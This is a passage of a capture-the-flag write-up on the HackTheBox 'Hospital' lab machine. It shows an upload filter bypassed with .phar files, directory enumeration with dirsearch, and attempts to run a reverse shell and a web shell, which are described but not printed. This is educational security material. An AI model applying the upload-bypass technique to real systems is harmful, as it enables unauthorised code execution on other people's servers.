width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Given the backend appears to be <code>PHP</code>, a <code>PHP</code> file is tried next.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!BBxY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f42562d-5f45-491a-9661-237007843e97_1250x444.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!BBxY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f42562d-5f45-491a-9661-237007843e97_1250x444.png 424w, https://substackcdn.com/image/fetch/$s_!BBxY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f42562d-5f45-491a-9661-237007843e97_1250x444.png 848w, https://substackcdn.com/image/fetch/$s_!BBxY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f42562d-5f45-491a-9661-237007843e97_1250x444.png 1272w, https://substackcdn.com/image/fetch/$s_!BBxY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f42562d-5f45-491a-9661-237007843e97_1250x444.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!BBxY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f42562d-5f45-491a-9661-237007843e97_1250x444.png" width="1250" height="444" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8f42562d-5f45-491a-9661-237007843e97_1250x444.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:444,&quot;width&quot;:1250,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;php-file-test.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="php-file-test.png" title="php-file-test.png" srcset="https://substackcdn.com/image/fetch/$s_!BBxY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f42562d-5f45-491a-9661-237007843e97_1250x444.png 424w, https://substackcdn.com/image/fetch/$s_!BBxY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f42562d-5f45-491a-9661-237007843e97_1250x444.png 848w, https://substackcdn.com/image/fetch/$s_!BBxY!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f42562d-5f45-491a-9661-237007843e97_1250x444.png 1272w, https://substackcdn.com/image/fetch/$s_!BBxY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8f42562d-5f45-491a-9661-237007843e97_1250x444.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>It appears <code>PHP</code> files are disallowed. In this instance, a <code>PHAR</code> file can be tried.</p><blockquote><p><em>A PHAR (PHP Archive) file is a packaging format for PHP applications, enabling entire PHP applications, including their supporting files, to be distributed and executed as a single archive file. Introduced in PHP 5.3, PHAR files are conceptually similar to Java&#8217;s JAR files, providing a way to distribute and deploy PHP applications easily.</em></p><p><em>PHAR files can contain PHP code, HTML, images, and other resources needed by the application. They are designed to simplify deployment: instead of dealing with many files and directories, you only need to manage one PHAR file. This makes it easier to distribute, install, and update complex PHP applications.</em> &lt;/small&gt;</p></blockquote><pre><code><code>&#9484;&#9472;&#9472;(kali&#12927;kali)-[~/Documents/htb-machines/hospital/exploits]
&#9492;&#9472;$ touch test.phar &amp;&amp; echo test &gt; test.phar</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!kNHC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe254b25e-ebd1-4d6d-a598-8cff3f224dea_1224x581.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kNHC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe254b25e-ebd1-4d6d-a598-8cff3f224dea_1224x581.png 424w, https://substackcdn.com/image/fetch/$s_!kNHC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe254b25e-ebd1-4d6d-a598-8cff3f224dea_1224x581.png 848w, https://substackcdn.com/image/fetch/$s_!kNHC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe254b25e-ebd1-4d6d-a598-8cff3f224dea_1224x581.png 1272w, https://substackcdn.com/image/fetch/$s_!kNHC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe254b25e-ebd1-4d6d-a598-8cff3f224dea_1224x581.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kNHC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe254b25e-ebd1-4d6d-a598-8cff3f224dea_1224x581.png" width="1224" height="581" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e254b25e-ebd1-4d6d-a598-8cff3f224dea_1224x581.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:581,&quot;width&quot;:1224,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;phar-file-test.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="phar-file-test.png" title="phar-file-test.png" srcset="https://substackcdn.com/image/fetch/$s_!kNHC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe254b25e-ebd1-4d6d-a598-8cff3f224dea_1224x581.png 424w, https://substackcdn.com/image/fetch/$s_!kNHC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe254b25e-ebd1-4d6d-a598-8cff3f224dea_1224x581.png 848w, https://substackcdn.com/image/fetch/$s_!kNHC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe254b25e-ebd1-4d6d-a598-8cff3f224dea_1224x581.png 1272w, https://substackcdn.com/image/fetch/$s_!kNHC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe254b25e-ebd1-4d6d-a598-8cff3f224dea_1224x581.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em><strong>A note of .phar files</strong></em></p><ul><li><p>The <code>PHAR</code> file works, indicating an Insecure File Upload vulnerability due to insecure coding where the potentially malicious file extension has not been disallowed.</p></li><li><p>To exploit this, a <code>phar</code> based shell can be crafted and uploaded. Navigating to the file will execute the payload. So understanding where the files upload to is required.</p></li><li><p>Browsing to the <code>/uploads</code> directory seems to indicate that the location does not exist. Further directory enumeration is required to validate how the file upload vulnerability can be successfully exploited.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GcPB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcda67d3a-651e-4747-876c-1765c109b1ed_475x241.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GcPB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcda67d3a-651e-4747-876c-1765c109b1ed_475x241.png 424w, https://substackcdn.com/image/fetch/$s_!GcPB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcda67d3a-651e-4747-876c-1765c109b1ed_475x241.png 848w, https://substackcdn.com/image/fetch/$s_!GcPB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcda67d3a-651e-4747-876c-1765c109b1ed_475x241.png 1272w, https://substackcdn.com/image/fetch/$s_!GcPB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcda67d3a-651e-4747-876c-1765c109b1ed_475x241.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GcPB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcda67d3a-651e-4747-876c-1765c109b1ed_475x241.png" width="475" height="241" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cda67d3a-651e-4747-876c-1765c109b1ed_475x241.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:241,&quot;width&quot;:475,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;uploads-404.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="uploads-404.png" title="uploads-404.png" srcset="https://substackcdn.com/image/fetch/$s_!GcPB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcda67d3a-651e-4747-876c-1765c109b1ed_475x241.png 424w, https://substackcdn.com/image/fetch/$s_!GcPB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcda67d3a-651e-4747-876c-1765c109b1ed_475x241.png 848w, https://substackcdn.com/image/fetch/$s_!GcPB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcda67d3a-651e-4747-876c-1765c109b1ed_475x241.png 1272w, https://substackcdn.com/image/fetch/$s_!GcPB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcda67d3a-651e-4747-876c-1765c109b1ed_475x241.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Directory enumeration</h2><p>Dirsearch can be used to enumerate the directories.</p><pre><code><code>(kali&#12927;kali)-[~/Documents/htb-machines/hospital/scans]
&#9492;&#9472;$ dirsearch -u http://hospital.htb:8080
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Documents/htb-machines/hospital/scans/reports/http_hospital.htb/_24-04-07_20-12-41.txt

Target: http://hospital.htb/

[20:12:41] Starting:</code></code></pre><p>The results differ from the browser, showing a 301 Moved Permanently and a 403 forbidden status code for <code>http://hospital.htb:8080/uploads/</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DtG_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff769a258-5a5f-4119-a658-a51f35068899_648x607.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DtG_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff769a258-5a5f-4119-a658-a51f35068899_648x607.png 424w, https://substackcdn.com/image/fetch/$s_!DtG_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff769a258-5a5f-4119-a658-a51f35068899_648x607.png 848w, https://substackcdn.com/image/fetch/$s_!DtG_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff769a258-5a5f-4119-a658-a51f35068899_648x607.png 1272w, https://substackcdn.com/image/fetch/$s_!DtG_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff769a258-5a5f-4119-a658-a51f35068899_648x607.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DtG_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff769a258-5a5f-4119-a658-a51f35068899_648x607.png" width="648" height="607" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f769a258-5a5f-4119-a658-a51f35068899_648x607.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:607,&quot;width&quot;:648,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;uploads-redirect.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="uploads-redirect.png" title="uploads-redirect.png" srcset="https://substackcdn.com/image/fetch/$s_!DtG_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff769a258-5a5f-4119-a658-a51f35068899_648x607.png 424w, https://substackcdn.com/image/fetch/$s_!DtG_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff769a258-5a5f-4119-a658-a51f35068899_648x607.png 848w, https://substackcdn.com/image/fetch/$s_!DtG_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff769a258-5a5f-4119-a658-a51f35068899_648x607.png 1272w, https://substackcdn.com/image/fetch/$s_!DtG_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff769a258-5a5f-4119-a658-a51f35068899_648x607.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h1>Exploitation</h1><p>Given the uploads folder is not directly accessible, trying to access the file directly rather than traversing the folder structure may work.</p><p>Uploading a shell with a <code>.phar</code> extension appears to work briefly, with the shell caught for a moment but then dropped. Browsing to the malicious file, an error message appears.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1sdi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac218dff-a469-4717-ae93-2fc1d376d45f_1048x301.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1sdi!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac218dff-a469-4717-ae93-2fc1d376d45f_1048x301.png 424w, https://substackcdn.com/image/fetch/$s_!1sdi!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac218dff-a469-4717-ae93-2fc1d376d45f_1048x301.png 848w, https://substackcdn.com/image/fetch/$s_!1sdi!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac218dff-a469-4717-ae93-2fc1d376d45f_1048x301.png 1272w, https://substackcdn.com/image/fetch/$s_!1sdi!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac218dff-a469-4717-ae93-2fc1d376d45f_1048x301.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1sdi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac218dff-a469-4717-ae93-2fc1d376d45f_1048x301.png" width="1048" height="301" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ac218dff-a469-4717-ae93-2fc1d376d45f_1048x301.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:301,&quot;width&quot;:1048,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;dropped-shell.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="dropped-shell.png" title="dropped-shell.png" srcset="https://substackcdn.com/image/fetch/$s_!1sdi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac218dff-a469-4717-ae93-2fc1d376d45f_1048x301.png 424w, https://substackcdn.com/image/fetch/$s_!1sdi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac218dff-a469-4717-ae93-2fc1d376d45f_1048x301.png 848w, https://substackcdn.com/image/fetch/$s_!1sdi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac218dff-a469-4717-ae93-2fc1d376d45f_1048x301.png 1272w, https://substackcdn.com/image/fetch/$s_!1sdi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fac218dff-a469-4717-ae93-2fc1d376d45f_1048x301.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Attempting a web shell is more successful, but command results are not returned, and the attempts begin to return a 404 status code, indicating the file is no longer present.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!svwy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faebe81b9-2aea-419a-9d9c-81e5ab1d69be_1106x374.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 